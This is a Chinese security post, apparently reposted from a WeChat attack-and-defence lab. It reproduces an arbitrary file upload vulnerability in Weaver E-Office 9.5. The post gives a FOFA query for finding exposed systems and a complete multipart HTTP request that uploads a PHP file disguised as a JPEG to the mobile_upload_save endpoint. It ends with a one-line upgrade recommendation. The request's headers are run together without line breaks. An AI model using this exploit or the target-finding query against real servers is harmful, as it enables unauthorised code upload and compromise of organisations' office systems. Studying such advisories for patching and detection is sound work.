泛微 E-Office_v9.5 mobile_upload_save接口任意文件上传漏洞 POC

0x02 漏洞描述

泛微 E-Office是中国泛微科技(Weaver)公司的一个协同办公系统。泛微 E-Office 9.5版本存在代码问题漏洞，该漏洞源于App/Ajax/ajax.php?action=mobile_upload_save 存在未知函数，通过参数 upload_quwan 导致不受限制的上传。

0x03 网络空间测绘

fofa : app="泛微-EOffice"

0x04 漏洞复现

POST /E-mobile/App/Ajax/ajax.php?action=mobile_upload_save HTTP/1.1Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Content-Length: 352Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9     Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7Cache-Control: max-age=0Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6ttOrigin: nullUpgrade-Insecure-Requests: 1------WebKitFormBoundarydRVCGWq4Cx3Sq6ttContent-Disposition: form-data; name="upload_quwan"; filename="s1.php."Content-Type: image/jpeg<?php phpinfo();?>------WebKitFormBoundarydRVCGWq4Cx3Sq6ttContent-Disposition: form-data; name="file"; filename=""Content-Type: application/octet-stream------WebKitFormBoundarydRVCGWq4Cx3Sq6tt--

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0x05 修复建议

  官方已发布安全补丁，建议受影响用户尽快升级至安全版本

原文始发于微信公众号（无尽藏攻防实验室）：【漏洞复现】泛微 E-Office_v9.5 mobile_upload_save接口任意文件上传漏洞